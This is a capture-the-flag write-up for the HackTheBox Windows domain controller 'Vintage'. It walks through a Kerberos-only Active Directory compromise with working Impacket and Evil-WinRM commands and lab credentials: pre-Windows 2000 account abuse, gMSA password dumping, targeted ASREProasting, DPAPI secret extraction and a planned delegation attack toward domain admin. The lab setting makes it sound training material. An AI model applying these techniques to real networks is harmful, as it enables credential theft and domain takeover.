This is a Windows Server 2022 machine with NTLM authentication disabled, meaning it only accepts Kerberos authentication. We start enumerating with BloodHound CE with provided user credentials and discover a pre-Windows 2000 machine that, once exploited, allows reading password of a gMSA account. Taking control of the GMSA account we enable another revoked service account that we can abuse with a targeted ASREProasting to obtain its password. Once sprayed, this password leads to another user credential with remote management permission. Finally, we are able to configure Evil-WinRM for Kerberos authentication and collect the user flag.
Regarding escalation, first we disclose DPAPI secrets with Impacket's dpapi.py. The compromised account has permissions for a delegation attack, so we request an ST ticket impersonating an user member of domain administrators group.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-28 20:43 GMT
Nmap scan report for 10.10.11.45
Host is up, received user-set (0.041s latency).
Scanned at 2025-01-28 20:43:11 GMT for 96s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-01-28 20:44:12Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
49674/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
52285/tcp open msrpc syn-ack Microsoft Windows RPC
52290/tcp open msrpc syn-ack Microsoft Windows RPC
52311/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-28T20:45:03
|_ start_date: N/A
|_clock-skew: 55s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18401/tcp): CLEAN (Timeout)
| Check 2 (port 53397/tcp): CLEAN (Timeout)
| Check 3 (port 54577/udp): CLEAN (Timeout)
| Check 4 (port 61163/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Nmap done: 1 IP address (1 host up) scanned in 96.67 seconds
List of open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,52285,52290,52311
Looks like a domain controller.
We have credentials for P.Rosa:Rosaisbest123, so let's enumerate the SMB service.
After some investigation on the reported error after the NTLMSSP_NEGOTIATE message, it seems NTLMSSP (NTLM-based authentication) is disabled in the server. Meaning we will have to use Kerberos authentication throughout the entire process.
Having user credentials next step would be to brute force the RID to get more usernames. However, this does not work since NTLM is disabled in the host, and the crackmapexec fails also to negotiate NTLMSSP authentication.
There are no accounts with pre-authentication disabled; on the other hand, we discover three revoked accounts, one of them is the service account svc_sql
Next step would be to collect data and continue enumerating with BloodHound CE. There is no problem with that, since the bloodhound-ce-python tool supports Kerberos authentication.
The attack path would be to get a TGT ticket for the pre-Windows 2000 account, using the computer name as password. Then use the tool suggested by BloodHound CE (gMSADumper.py) to dump gMSA01$ password.
Begin requesting a TGT for fs01$
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/fs01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in fs01$.ccache
> export KRB5CCNAME=fs01$.ccache
Now, next step would be to use gMSADumper.py to dump the password; however, it does not work due to DNS issues.
Now, if gmsa01$ has inherited group's permissions, it has GenericAll over the svc_sql account and we can reactivate the account.
If we remember, since svc_sql was revoked and we couldn't verify if it has Kerberos pre-authentication disabled. Now, after activating it, we can try a targeted ASREProasting attack, which is similar to a targeted kerberoasting attack (as we did in Administrator).
In a nutshell, in a targeted ASREProasting attack we set the attribute DONT_ REQ_PREAUTH, since we have GenericAll over the user account, then dump the hash and try to crack it offline.
First step would be to reactivate the account, using the same gmsa01$ ticket we have in cache (verify if it has not expired, and renew it if that's the case).
You can verify in BloodHound CE the compromised account has remote management permissions, therefore we can have an Evil-WinRM session under its context. We just need to find a way to use Evil-WinRM with Kerberos authentication.
Normally, according to documentation, Kerberos authentication is supported with -r flag, but first you have to configure the KDC realm in the /etc/krb5.conf file.
I used this tool as support, but needed to make some modifications to the file supplied by the tool. The final configuration file is this.
Also, it may be necessary to add the IP 10.10.11.45 in the /etc/resolv.conf file (comment the existing lines).
> cat /etc/resolv.conf
nameserver 10.10.11.45
Now you can open an Evil-WinRM shell using Kerberos authentication.
> python3 /usr/share/doc/python3-impacket/examples/getTGT.py -dc-ip 10.10.11.45 vintage.htb/c.neri:Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.neri.ccache
> export KRB5CCNAME=c.neri.ccache
> evil-winrm -i dc01.vintage.htb -r vintage.htb
And collect the user flag.
SYSTEM
Start from the shell as c.neri and take the opportunity to enumerate the system.
Get-ComputerInfo
WindowsBuildLabEx : 20348.1.amd64fre.fe_release.210507-1500
WindowsCurrentVersion : 6.3
WindowsEditionId : ServerStandard
WindowsInstallationType : Server
WindowsInstallDateFromRegistry : 5/24/2024 12:00:02 PM
WindowsProductId : 00454-20165-01481-AA334
WindowsProductName : Windows Server 2022 Standard
WindowsRegisteredOrganization :
WindowsRegisteredOwner : Windows User
WindowsSystemRoot : C:\Windows
WindowsVersion : 2009
OSDisplayVersion : 21H2
We have already seen how to harvest DPAPI-protected secrets in Week 7. Office. Basically, DPAPI is a Windows API used by applications that want to protect and store secrets such as passwords, tokens, etc. Encrypted data is stored in data blobs in the user's directory that have been secured by user-specific master keys.
In Week 7. Officewe decrypted the blobs with mimikatz. In this case, the host is running a defender solution that blocks Mimkatz, so we will use Impacket's dpapi.py with files transferred to Kali machine.
First thing would be to obtain the key from the master key file with user's password, SID and blob files.
Which results to be credentials for another user c.neri_adm
To summarize this part: someone has protected c.neri_adm credentials using Windows cryptographic API (DPAPI). The secret is stored a data blob file protected with a master key, that is derived from user c.neri password and SID. Both blob and master keys files are stored in c.neri user folder.
Back to BloodHound CE, mark c.neri_adm as "Owned" and enumerate from there. First thing we notice is the user belongs to delegatedAdmins group.
And if we enumerate the delegatedAdmins group we see a possible path to domains administrators via l.bianchi_adm account, since l.bianchi_adm is also a delegated admin, and in turn a domain administrator.
In this case, if we had a service account belonging to delegatedAdmins group, we could request an ST impersonating l.bianchi_adm and gain root, since this account is member of domainAdmins.
We have control over c.neri_adm who is already member of the delegatedAdmins. So one option
would be to convert c.neri_adm to a service account by adding a SPN attribute to the account.
However, this option doesn't work because it seems assigning an SPN to itself violates constraints defined by Active Directory.
Thinking about other ways, we could take the svc_sql account we reactivated before and add it to the delegatedAdmins group. We can do it since we control c.neri_adm